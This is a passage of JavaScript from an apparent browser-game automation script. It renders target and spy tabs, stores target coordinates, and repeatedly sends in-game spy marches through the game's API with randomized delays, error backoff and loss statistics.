					}
					var rec = {
						name: Data.options.single.preset.name,
						units: cloneProps(Data.options.single.preset.units)
					};
					Data.options.single.presets.push(rec);
					t.tabSinglePresets();
				}

				function setTroupsMax(event) {
					var args = event.target.id.split('_');
					var max = 0;
					var cur = toNum(Seed.cities[CAPITAL.id].units[all_unit_types[args[1]]]);
					t.totalForces = 0;
					for (var r = 0; r < all_unit_types.length; r++)
						if (r != args[1]) t.totalForces = toNum(t.totalForces) + toNum(Data.options.single.preset.units[all_unit_types[r]]);
					max = (getMusterPoint(CAPITAL.id)).max_troops - toNum(t.totalForces);
					if (max > cur) max = cur;
					Data.options.single.preset.units[all_unit_types[args[1]]] = toNum(max);
					t.tabSinglePresets();
				}
			},

			/** TARGETS SUB-TAB ***/
			tabSingleTargets: function() {
				var t = Tabs.Single;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSingleTargets']).className = 'selected';
				document.getElementById(UID['tabSingleTargets']).style.zIndex = 1;
				t.lastSubTab = 'tabSingleTargets';
				t.contentType = 2;
				var m = '<div class="' + UID['title'] + '">' + translate('Targets') + '</div>' + '	<div id=' + setUID('tabSingle_Targets') + ' class=' + UID['status_ticker'] + ' style="height:390px; max-height:390px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabSingle_Content']).innerHTML = m;
				var m = '<table class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td width="15px">&nbsp</td>' + '		<td width="35px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td width="50px"><A><span>' + translate('Coords') + '</span></A></td>' + '		<td width="160px"><A><span>' + translate('Target') + '</span></A></td>' + '		<td width="175px"><A><span>' + translate('Troops') + '</span></A></td>' + '	</tr>';
				var ul = [];
				for (var i = 0; i < Data.options.single.history.length; i++) {
					var style = '',
						row_style = '';
					if (!Data.options.single.history[i].comment || Data.options.single.history[i].comment == null || Data.options.single.history[i].comment == '')
						style = 'style="border-bottom: 1px solid #898989;"';
					if (i % 2 == 1) row_style = "White";
					else row_style = "rgb(239,239,224)";
					var time = getMarchTime(Data.options.single.history[i].x, Data.options.single.history[i].y, Data.options.single.history[i].units);
					m += '<tr valign=top style="background-color:' + row_style + '">' + '	<td><input id=' + setUID('tabSingle_Delete_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value=" X " /></td>' + '	<td ' + style + '>' + getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.single.history[i].x, Data.options.single.history[i].y) + '<br> (' + timestrShort(time) + ')</td>' + '	<td align=center ' + style + '>' + Data.options.single.history[i].x + ',' + Data.options.single.history[i].y + '</td>' + '	<td align=left ' + style + '>' + Data.options.single.history[i].type + '</td>' + '	<td align=left ' + style + '>' + getTroops(Data.options.single.history[i].units, '<br>') + '</td>' + '	<td><input id=' + setUID('tabSingle_Recall_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Recall') + '" /><br>' + '		<input id=' + setUID('tabSingle_Bookmark_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Bookmark') + '" /></td>';
					if (Data.options.single.history[i].id && Data.options.single.history[i].id != '' && Data.options.single.history[i].n && Data.options.single.history[i].n != '') {
						var user_ids = Data.options.single.history[i].id + '_' + Data.options.single.history[i].n;
						var UIDMsg = setUID('tabSingle_Msg_' + i);
						m += '	<td><input id=' + setUID('tabSingle_Spy_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Spy') + '" /><br>' + '		<input id=' + UIDMsg + ' ref=' + user_ids + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" /></td>';
						ul.push(UIDMsg);
					} else {
						m += '	<td><input id=' + setUID('tabSingle_Spy_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Spy') + '" /></td>';
					}
					m += '</tr>';
					if (Data.options.single.history[i].comment && Data.options.single.history[i].comment != null && Data.options.single.history[i].comment != '')
						m += '<tr valign=top style="background-color:' + row_style + '"><td colspan=4 style="border-bottom: 1px solid #898989;">' + Data.options.single.history[i].comment + '</td><td colspan=2>&nbsp</td></tr>';
				}
				document.getElementById(UID['tabSingle_Targets']).innerHTML = m + '</table>';
				for (var i = 0; i < Data.options.single.history.length; i++) {
					var butRecall = document.getElementById(UID['tabSingle_Recall_' + i]);
					var butDelete = document.getElementById(UID['tabSingle_Delete_' + i]);
					var butBookmark = document.getElementById(UID['tabSingle_Bookmark_' + i]);
					var butSpy = document.getElementById(UID['tabSingle_Spy_' + i]);
					butRecall.addEventListener('click', recallTarget, false);
					butDelete.addEventListener('click', deleteTarget, false);
					butBookmark.addEventListener('click', addBookmark, false);
					butSpy.addEventListener('click', butSpyNow, false);
					var tile = Data.options.single.history[i];
					if (!tile.ai || tile.ai == 0 || tile.ai == null || tile.ai != (Seed.player.alliance ? Seed.player.alliance.id : -1))
						setButtonStyle(butSpy, true, 'btn_green', 'btn_disabled');
					else
						setButtonStyle(butSpy, false, 'btn_green', 'btn_disabled');
				}
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);

				function butSpyNow(event) {
					var n = toNum(event.target.getAttribute('ref'));
					buttonSpyNow(t.container, Data.options.single.history[n]);
				}

				function recallTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.single.target.x = Data.options.single.history[n].x;
					Data.options.single.target.y = Data.options.single.history[n].y;
					Data.options.single.target.type = Data.options.single.history[n].type;
					Data.options.single.target.level = Data.options.single.history[n].level;
					Data.options.single.target.id = Data.options.single.history[n].id;
					Data.options.single.target.n = Data.options.single.history[n].n;
					Data.options.single.target.ai = Data.options.single.history[n].ai;
					Data.options.single.target.units = cloneProps(Data.options.single.history[n].units);
					Data.options.single.target.dragons = cloneProps(Data.options.single.history[n].dragons);
					Data.options.single.target.saved_units = cloneProps(Data.options.single.history[n].units)
					Data.options.single.target.include_great_dragon = Data.options.single.history[n].inc;
					Data.options.single.target.comment = Data.options.single.history[n].comment;
					t.tabSingleAttack();
				}

				function deleteTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.single.history.splice(n, 1);
					t.tabSingleTargets();
				}

				function addBookmark(event) {
					var n = toNum(event.target.getAttribute('ref'));
					saveBookmark(t.container,
						Data.options.single.history[n].x,
						Data.options.single.history[n].y,
						Data.options.single.history[n].type,
						Data.options.single.history[n].level,
						Data.options.single.history[n].id,
						Data.options.single.history[n].n,
						Data.options.single.history[n].units,
						Data.options.single.history[n].ai,
						Data.options.single.history[n].inc, true,
						Data.options.single.history[n].dragons,
						Data.options.single.history[n].comment);
				}
			},

			hide: function() {
				var t = Tabs.Single;
				Data.options.single.current_tab = t.contentType;
			}
		}

		/******************************** Spy Tab ************************************/
		Tabs.Spies = {
			tabOrder: SPY_TAB_ORDER,
			tabLabel: 'Spy',
			tabDisabled: !SPY_TAB_ENABLE,
			container: null,
			enabled: false,
			attackTimer: null,
			marchTimer: null,
			attackErrors: 0,
			contentType: 0,
			/* 0 = attack, 1 = history, 2 = stats, 3 = last report */
			lastSubTab: 'tabSpyAttack',
			running: {
				start_at: 0
			},
			last_report: null,

			init: function(div) {
				var t = Tabs.Spies;
				Data.setDefaultValues('spies');
				t.container = div;
				var m = '<div class=' + UID['title'] + '>' + translate('Spy One Target') + '</div>' + '<div id=' + setUID('tabSpy_Status') + ' class=' + UID['status_ticker'] + ' style="margin-bottom:5px !important">' + '	<center><input id=' + setUID('tabSpy_OnOff') + ' type=button value="OnOff" /></center>' + '	<div id=' + setUID('tabSpy_Report') + ' style="margin-top:5px;height:140px; max-height:140px; width:540px; max-width:540px; overflow:auto;">' + '		<table id=' + setUID('tabSpy_Marches') + ' class=' + UID['table'] + '></table>' + '	</div>' + '	<div id=' + setUID('tabSpy_Feedback') + ' class=' + UID['status_feedback'] + '></div>' + '</div>' + '<ul class=tabs>' + '	<li class="tab first"><a id=' + setUID('tabSpyAttack') + '>' + translate('Spy') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabSpyHistory') + '>' + translate('History') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabSpyStats') + '>' + translate('Stats') + '</a></li>' + '	<li class=tab><a id=' + setUID('tabSpyLastReport') + '>' + translate('Last report') + '</a></li>' + '</ul>' + '<div id=' + setUID('tabSpy_Content') + ' style="padding-top:0px; height:440px; overflow-y:auto"></div>';
				t.container.innerHTML = m;
				document.getElementById(UID['tabSpyAttack']).addEventListener('click', t.tabSpyAttack, false);
				document.getElementById(UID['tabSpyHistory']).addEventListener('click', t.tabSpyHistory, false);
				document.getElementById(UID['tabSpyStats']).addEventListener('click', t.tabSpyStats, false);
				document.getElementById(UID['tabSpyLastReport']).addEventListener('click', t.tabSpyLastReport, false);
				document.getElementById(UID['tabSpy_OnOff']).addEventListener('click', function() {
					t.setSpyEnable(!Data.options.spies.enabled);
				}, false);
				t.contentType = toNum(Data.options.spies.current_tab, 0);
				t.marchTick();
				t.setSpyEnable(false);
				window.addEventListener('unload', t.onUnload, false);
				t.show();
			},
			show: function() {
				var t = Tabs.Spies;
				t.marchTick();
				switch (t.contentType || 0) {
					case 0:
						t.tabSpyAttack();
						break;
					case 1:
						t.tabSpyHistory();
						break;
					case 2:
						t.tabSpyStats();
						break;
					case 3:
						t.tabSpyLastReport();
						break;
				}
			},
			hide: function() {
				var t = Tabs.Spies;
				clearTimeout(t.marchTimer);
				Data.options.spies.current_tab = t.contentType;
			},
			onUnload: function() {
				var t = Tabs.Spies;
				if (Data.options.spies.enabled && t.running.start_at != 0)
					Data.stats.spies.run_time += (serverTime() - t.running.start_at);
				Data.options.spies.current_tab = t.contentType;
			},

			tabSpyAttack: function() {
				var t = Tabs.Spies;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSpyAttack']).className = 'selected';
				document.getElementById(UID['tabSpyAttack']).style.zIndex = 1;
				t.lastSubTab = 'tabSpyAttack';
				t.contentType = 0;

				var m = '<div class="' + UID['title'] + '">' + translate('Spy') + '</div>' + '<div class=' + UID['content'] + '>' + '	<div>' + '		<b>' + translate('Coords') + ':&nbsp;</b>&nbsp;' + '		X: <input id=' + setUID('tabSpy_CoordsX') + ' size=1 maxlength=3 type=text value="' + Data.options.spies.target.x + '" /> ' + '		Y: <input id=' + setUID('tabSpy_CoordsY') + ' size=2 maxlength=3 type=text value="' + Data.options.spies.target.y + '" /> ' + '		&nbsp <b>' + translate('Distance') + ':</b> <span id=' + setUID('tabSpy_Distance') + '></span>' + '		&nbsp <input id=' + setUID('tabSpy_Save') + ' class="' + UID['btn_green'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Save') + ' " />'
				if (Data.options.spies.target.id && Data.options.spies.target.id != '' && Data.options.spies.target.n && Data.options.spies.target.n != '') {
					var user_ids = Data.options.spies.target.id + '_' + Data.options.spies.target.n;
					m += '	&nbsp <input id=' + setUID('tabSpy_Msg') + ' ref=' + user_ids + ' class="' + UID['btn_blue'] + ' small" style="width:auto !important;" type=submit value=" ' + translate('Msg') + ' " />';
				}
				m += '		<br><br><label>' + translate('description') + ' :</label>&nbsp' + '		<textarea id=' + setUID('tabSpy_Comment') + ' cols="80" rows="2" wrap="PHYSICAL">' + Data.options.spies.target.comment + '</textarea><br>' + '		<div class=' + UID['status_ticker'] + ' style="height:auto !important;margin:5px 10px !important;">' + '			<center><span id=' + setUID('tabSpy_Tile') + '></span></center>' + '		</div>' + '	</div>' + '  <div>' + '	<table id=' + setUID('tabSpy_Troops') + ' class=' + UID['table'] + '>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td colspan=8>' + translate('Spies number') + ':&nbsp;</td>' + '		</tr>' + '	</table>' + '	</div><br>' + '	<table class=' + UID['table'] + '>' + '		<tr>' + '			<td class=right> ' + translate('Delete spy Reports') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabSpy_DelReports') + ' type=checkbox ' + (Data.options.spies.delete_reports ? 'CHECKED' : '') + ' /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Stop if any troops lost') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabSpy_StopOnLoss') + ' type=checkbox ' + (Data.options.spies.stop_on_loss ? 'CHECKED' : '') + ' /></td>' + '		</tr><tr>' + '			<td class=right>' + translate('Delay Between Attacks') + ':&nbsp;</td>' + '			<td>' + '				<input id=' + setUID('tabSpy_DelayMin') + ' type=text size=1 maxlength=4 value="' + Data.options.spies.delay_min + '" />' + '				 to <span id=' + setUID('tabSpy_DelayMax') + '>' + Data.options.spies.delay_max + '</span>&nbsp;' + translate('seconds') + '			</td>' + '		</tr><tr>' + '			<td class=right> ' + translate('Maximum simultaneous marches') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabSpy_MaxMarches') + ' type=text size=1 maxlength=2 value="' + Data.options.spies.max_marches + '" /></td>' + '		</tr>' + '	</table>' + '</div>';
				document.getElementById(UID['tabSpy_Content']).innerHTML = m;
				document.getElementById(UID['tabSpy_CoordsX']).addEventListener('change', t.eventCoords, false);
				document.getElementById(UID['tabSpy_CoordsY']).addEventListener('change', t.eventCoords, false);
				document.getElementById(UID['tabSpy_Save']).addEventListener('click', saveCoords, false);
				document.getElementById(UID['tabSpy_Comment']).addEventListener('change', function() {
					Data.options.spies.target.comment = document.getElementById(UID['tabSpy_Comment']).value
				}, false);
				document.getElementById(UID['tabSpy_DelReports']).addEventListener('click', function(event) {
					Data.options.spies.delete_reports = event.target.checked;
				}, false);
				document.getElementById(UID['tabSpy_StopOnLoss']).addEventListener('click', function(event) {
					Data.options.spies.stop_on_loss = event.target.checked;
				}, false);
				document.getElementById(UID['tabSpy_DelayMin']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabSpy_MaxMarches']).addEventListener('change', maxMarchesChanged, false);
				if (Data.options.spies.target.id && Data.options.spies.target.id != '' && Data.options.spies.target.n && Data.options.spies.target.n != '')
					document.getElementById(UID['tabSpy_Msg']).addEventListener('click', onClickMsg, false);
				setTroopTable(document.getElementById(UID['tabSpy_Troops']), 1, 'SP', spy_unit_types,
					Data.options.spies.target.units, undefined, t.eventTroops, false);
				t.eventCoords();

				function delayChanged(event) {
					var min = toNum(event.target.value);
					var max = toNum(min * 1.5);
					if (min < nvl(MIN_DELAY_BETWEEN_WAVE, 10) || min > 3600) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					document.getElementById(UID['tabSpy_DelayMax']).innerHTML = max;
					event.target.style.backgroundColor = '';
					Data.options.spies.delay_min = min;
					Data.options.spies.delay_max = max;
				}

				function maxMarchesChanged(event) {
					var val = toNum(document.getElementById(UID['tabSpy_MaxMarches']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.spies.max_marches = val;
				}

				function saveCoords() {
					var t = Tabs.Spies;
					if (Data.options.spies.history && Data.options.spies.history.length > 0) {
						var h = cloneProps(Data.options.spies.history);
						for (var i = h.length - 1; i >= 0; i--) {
							if ((h[i].x == Data.options.spies.target.x) && (h[i].y == Data.options.spies.target.y))
								Data.options.spies.history.splice(i, 1);
						}
					}
					var rec = {
						x: Data.options.spies.target.x,
						y: Data.options.spies.target.y,
						type: Data.options.spies.target.type,
						level: Data.options.spies.target.level,
						id: Data.options.spies.target.id,
						n: Data.options.spies.target.n,
						units: cloneProps(Data.options.spies.target.units),
						ai: Data.options.spies.target.ai,
						comment: Data.options.spies.target.comment
					};
					Data.options.spies.history.push(rec);
				}
			},
			tabSpyHistory: function() {
				var t = Tabs.Spies;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSpyHistory']).className = 'selected';
				document.getElementById(UID['tabSpyHistory']).style.zIndex = 1;
				t.lastSubTab = 'tabSpyHistory';
				t.contentType = 1;

				var m = '<div class="' + UID['title'] + '">' + translate('History') + '</div>' + '	<div id=' + setUID('tabSpy_HistoryList') + ' class=' + UID['status_ticker'] + ' style="height:400px; max-height:400px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important"></div>' + '	</div>';
				document.getElementById(UID['tabSpy_Content']).innerHTML = m;
				var m = '<table class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td width="10px">&nbsp</td>' + '		<td width="35px"><A><span>' + translate('Dist') + '</span></A></td>' + '		<td width="50px"><A><span>' + translate('Coords') + '</span></A></td>' + '		<td width="160px"><A><span>' + translate('Target') + '</span></A></td>' + '		<td width="175px"><A><span>' + translate('Troops') + '</span></A></td>' + '	</tr>';
				var ul = [];
				for (var i = 0; i < Data.options.spies.history.length; i++) {
					var style = '',
						row_style = '';
					if (!Data.options.spies.history[i].comment || Data.options.spies.history[i].comment == null || Data.options.spies.history[i].comment == '')
						style = 'style="border-bottom: 1px solid #898989;"';
					if (i % 2 == 1) row_style = "White";
					else row_style = "rgb(239,239,224)";
					var time = getMarchTime(Data.options.spies.history[i].x, Data.options.spies.history[i].y, Data.options.spies.history[i].units);
					m += '<tr valign=top style="background-color:' + row_style + '">' + '	<td><input id=' + setUID('tabSpy_Delete_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_red'] + '" style="width:auto !important;" type=submit value=" X " /></td>' + '	<td ' + style + '>' + getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.spies.history[i].x, Data.options.spies.history[i].y) + '<br> (' + timestrShort(time) + ')</td>' + '	<td align=center ' + style + '>' + Data.options.spies.history[i].x + ',' + Data.options.spies.history[i].y + '</td>' + '	<td align=left ' + style + '>' + Data.options.spies.history[i].type + '</td>' + '	<td align=left ' + style + '>' + getTroops(Data.options.spies.history[i].units, '<br>') + '</td>' + '	<td><input id=' + setUID('tabSpy_Recall_' + i) + ' ref=' + i + ' class="Xtrasmall ' + UID['btn_green'] + '" style="width:auto !important;" type=submit value="' + translate('Recall') + '" />';
					if (Data.options.spies.history[i].id && Data.options.spies.history[i].id != '' && Data.options.spies.history[i].n && Data.options.spies.history[i].n != '') {
						var user_ids = Data.options.spies.history[i].id + '_' + Data.options.spies.history[i].n;
						var UIDMsg = setUID('tabSpy_Msg_' + i);
						m += '	<br><input id=' + UIDMsg + ' ref=' + user_ids + ' class="Xtrasmall ' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" />';
						ul.push(UIDMsg);
					}
					m += '</td></tr>';
					if (Data.options.spies.history[i].comment && Data.options.spies.history[i].comment != null && Data.options.spies.history[i].comment != '')
						m += '<tr valign=top style="background-color:' + row_style + '"><td colspan=5 style="border-bottom: 1px solid #898989;">' + Data.options.spies.history[i].comment + '</td><td colspan=2>&nbsp</td></tr>';
				}
				document.getElementById(UID['tabSpy_HistoryList']).innerHTML = m + '</table>';
				for (var i = 0; i < Data.options.spies.history.length; i++) {
					var butRecall = document.getElementById(UID['tabSpy_Recall_' + i]);
					var butDelete = document.getElementById(UID['tabSpy_Delete_' + i]);
					butRecall.addEventListener('click', recallTarget, false);
					butDelete.addEventListener('click', deleteTarget, false);
				}
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);

				function recallTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.spies.target.x = Data.options.spies.history[n].x;
					Data.options.spies.target.y = Data.options.spies.history[n].y;
					Data.options.spies.target.type = Data.options.spies.history[n].type;
					Data.options.spies.target.level = Data.options.spies.history[n].level;
					Data.options.spies.target.id = Data.options.spies.history[n].id;
					Data.options.spies.target.n = Data.options.spies.history[n].n;
					Data.options.spies.target.ai = Data.options.spies.history[n].ai;
					Data.options.spies.target.units = cloneProps(Data.options.spies.history[n].units);
					Data.options.spies.target.comment = Data.options.spies.history[n].comment;
					t.tabSpyAttack();
				}

				function deleteTarget(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.spies.history.splice(n, 1);
					t.tabSpyHistory();
				}
			},
			tabSpyStats: function() {
				var t = Tabs.Spies;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSpyStats']).className = 'selected';
				document.getElementById(UID['tabSpyStats']).style.zIndex = 1;
				t.lastSubTab = 'tabSpyStats';
				t.contentType = 2;

				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Stats') + '</div>' + '<div id=' + setUID('tabSpyStats_Statbox') + ' class=' + UID['status_ticker'] + '>' + '<div id=' + setUID('tabSpyStats_Status') + '></div>' + '<br/>' + '<center><input id=' + setUID('tabSpyStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '<br></div>';
				document.getElementById(UID['tabSpy_Content']).innerHTML = m;
				document.getElementById(UID['tabSpyStats_Clear']).addEventListener('click', function() {
					t.clearStats();
					t.showStats();
				}, false);
				t.showStats();
			},
			tabSpyLastReport: function() {
				var t = Tabs.Spies;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabSpyLastReport']).className = 'selected';
				document.getElementById(UID['tabSpyLastReport']).style.zIndex = 1;
				t.lastSubTab = 'tabSpyLastReport';
				t.contentType = 3;
				var m = '<div id=' + setUID('tabSpy_ShowReport') + ' class=' + UID['status_ticker'] + ' style="height:395px; max-height:395px; width:540px; max-width:540px; overflow-y:auto ; overflow-x:auto ; margin-top:1px !important"></div>';
				document.getElementById(UID['tabSpy_Content']).innerHTML = m;
				var m = '<div class=' + UID['title'] + '>' + translate('Last report') + '</div>';
				if (t.last_report)
					m += '<center>' + Messages.displaySpyReport(t.last_report) + '</center>';
				document.getElementById(UID['tabSpy_ShowReport']).innerHTML = m;
			},

			gotSpyReport: function(rpt_s) {
				var t = Tabs.Spies,
					has_loss = false;
				if (!rpt_s) return;
				if (rpt_s.report.location.x == Data.options.spies.target.x &&
					rpt_s.report.location.y == Data.options.spies.target.y &&
					rpt_s.report_notification.report_type == 'SpyReport'
				) {
					t.last_report = Messages.details[rpt_s.report_notification.id];
					var march_id = null;
					for (var id in Data.marches.spies) {
						march_id = id;
						break;
					}
					if (is_null(Data.stats.spies.total_attacks)) Data.stats.spies.total_attacks = 0;
					++Data.stats.spies.total_attacks;
					for (var p in rpt_s.report.attacker.units) {
						if (rpt_s.report.attacker.units[p][0] != rpt_s.report.attacker.units[p][1]) {
							var nb = toNum(rpt_s.report.attacker.units[p][0]) - toNum(rpt_s.report.attacker.units[p][1]);
							objAddTo(Data.stats.spies.loss, p, nb, true);
						}
					}
					Data.marches.spies[march_id].has_report = true;
					t.showStats();

					if (Data.options.spies.stop_on_loss && rpt_s.report.attacker.name == Seed.player.name) {
						for (var p in rpt_s.report.attacker.units) {
							if (rpt_s.report.attacker.units[p][0] != rpt_s.report.attacker.units[p][1]) {
								has_loss = true;
								var ts = new Date(rpt_s.report_notification.created_at * 1000).myString();
								t.setSpyEnable(false);
								dispFeedback(UID['tabSpy_Feedback'], translate('Troops lost') + '! (' + ts + ')');
								actionLog(translate('Spy') + ': ' + translate('Troops lost') + '! (' + ts + ')');
								/* Recall all remaining marches of that type to avoid other troop loss */
								for (var id in Data.marches.spies) {
									if (Data.marches.spies[id].status === 'marching')
										doRecallMarch(Data.marches.spies[id].city_id, id);
								}
								return;
							}
						}
					}
					if (Data.options.spies.delete_reports && rpt_s.report.attacker.name == Seed.player.name && !has_loss)
						Messages.deleteMessage(rpt_s.report_notification.id);
				}

				function doRecallMarch(city_id, id) {
					var targMsg = 'Recall march ' + id;
					verboseLog(targMsg + ' ' + translate('attempted'));
					new MyAjax.marchRecall(city_id, id, function(rslt) {
						if (rslt.ok) {
							verboseLog(targMsg + ' ' + translate('succeeded'));
						} else {
							verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						}
					});
				}
			},
			clearStats: function() {
				var t = Tabs.Spies;
				var now = serverTime();
				Data.stats.spies = {
					start_at: now,
					run_time: 0,
					total_attacks: 0,
					loss: {}
				};
				t.showStats();
			},
			showStats: function() {
				var t = Tabs.Spies;
				var div = document.getElementById(UID['tabSpyStats_Status']);
				if (div == null) return;

				var run_time = Data.stats.spies.run_time;
				if (Data.options.spies.enabled)
					run_time += (serverTime() - t.running.start_at);
				var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

				var m = '<table class=' + UID['table'] + '>' + '	<tr>' + '		<td class=right>' + translate('Start Date') + ': </td>' + '		<td colspan=>' + new Date(Data.stats.spies.start_at * 1000).myString() + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Run Time') + ': </td>' + '		<td>' + timestr(run_time, true) + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Attacks') + ': </td>' + '		<td>' + Data.stats.spies.total_attacks + '</td>' + '	<tr valign=top align=right>' + '		<td class=right>' + translate('Troops lost') + ': </td>';
				var first = true;
				for (var name in Data.stats.spies.loss) {
					var perHour = Math.round(Data.stats.spies.loss[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '		<td>' + translate(name) + ':</td>' + '		<td>' + numf(Data.stats.spies.loss[name], ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
				}
				m += '</table>';
				div.innerHTML = m;
			},

			eventCoords: function(event) {
				checkCoords('tabSpy', Data.options.spies.target.units, Data.options.spies.target);
			},
			eventTroops: function(event) {
				var t = Tabs.Spies;
				var args = event.target.name.split('_');
				if (args[0] == 'SP') {
					var tt = spy_unit_types[args[1]];
					var tr = Data.options.spies.target.units;
					tr[tt] = event.target.value;
					var time = getMarchTime(Data.options.spies.target.x, Data.options.spies.target.y, Data.options.spies.target.units);
					document.getElementById(UID['tabSpy_Distance']).innerHTML = getDistance(Seed.cities[CAPITAL.id].x, Seed.cities[CAPITAL.id].y, Data.options.spies.target.x, Data.options.spies.target.y) + ' (' + timestrShort(time) + ')';
				}
			},

			setSpyEnable: function(onOff) {
				var t = Tabs.Spies;
				var but = document.getElementById(UID['tabSpy_OnOff']);
				clearTimeout(t.attackTimer);
				Data.options.spies.enabled = onOff;
				if (onOff) {
					Messages.addSpyReportListener(t.gotSpyReport);
					but.value = translate('Attacking').toUpperCase();
					but.className = UID['btn_on'];
					t.spyAttackTick();
					t.running.start_at = serverTime();
					Data.stats.spies.start_at = serverTime();
				} else {
					Messages.removeReportListener('spies', t.gotSpyReport);
					but.value = translate('Disabled').toUpperCase();
					but.className = UID['btn_off'];
					if (t.running.start_at !== 0) {
						Data.stats.spies.run_time += (serverTime() - t.running.start_at);
					}
				}
			},

			spyAttackTick: function() {
				var t = Tabs.Spies,
					targetMsg, retryDelay, spyUnits, marchCount = 0;
				clearTimeout(t.attackTimer);

				if (!Data.options.spies.enabled) return;

				targetMsg = Data.options.spies.target.type + translate(' at ') + Data.options.spies.target.x + '/' + Data.options.spies.target.y;
				var actionMsg = translate('Spy to ') + targetMsg;
				var feedback_element = UID['tabSpy_Feedback'];

				var cur_march = getMinDelay();
				marchCount = cur_march.count;
				retryDelay = cur_march.delay;
				var chk = checkMarch(actionMsg,
					feedback_element,
					marchCount,
					retryDelay,
					Marches.count.spies,
					Data.options.spies.max_marches,
					null, false);
				if (chk != 0) {
					t.attackTimer = setTimeout(t.spyAttackTick, retryDelay * 1000);
					return;
				}
				spyUnits = checkTroops(CAPITAL.id, Data.options.spies.target.units);
				if (spyUnits !== null) {
					raiseMessage(actionMsg, feedback_element, spyUnits, true, retryDelay);
					t.attackTimer = setTimeout(t.spyAttackTick, retryDelay * 1000);
					return;
				}
				verboseLog(actionMsg + ' ' + translate('attempted'));

				new MyAjax.marchSpy(Seed.cities[CAPITAL.id].id, Data.options.spies.target.x, Data.options.spies.target.y, Data.options.spies.target.units, 'spies', function(rslt) {
					var t = Tabs.Spies,
						spyDelay, retryDelay;
					if (rslt.ok && rslt.dat.result.success) {
						t.attackErrors = 0;
						var delay_min = toNum(Data.options.spies.delay_min, nvl(MIN_DELAY_BETWEEN_WAVE, 10));
						var delay_max = toNum(Data.options.spies.delay_max, toNum(delay_min * 1.5));
						spyDelay = Math.floor(Math.random() * (delay_max - delay_min + 1) + delay_min);
						verboseLog(actionMsg + ' ' + translate('Successfully'));
						actionLog(actionMsg);
						dispFeedback(feedback_element, actionMsg);
						t.attackTimer = setTimeout(t.spyAttackTick, spyDelay * 1000);
					} else {
						t.attackErrors++
						retryDelay = 30 * (t.attackErrors * t.attackErrors);
						verboseLog(actionMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg + ' - ' + translate('Retry in') + ' ' + retryDelay + ' ' + translate('seconds'));
						actionLog(actionMsg + ' ' + translate('failed'));
						if (rslt.status === 429) {
							retryDelay = E429_DELAY;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - <b>API</b> ', feedback_element, 6, false, retryDelay);
						} else if (rslt.status === 509) {
							retryDelay = 600;
							raiseMessage(actionMsg + ' ' + translate('failed') + ' - ', feedback_element, 6, false, retryDelay);
						} else
							dispFeedback(feedback_element, actionMsg + ' ' + translate('failed'));
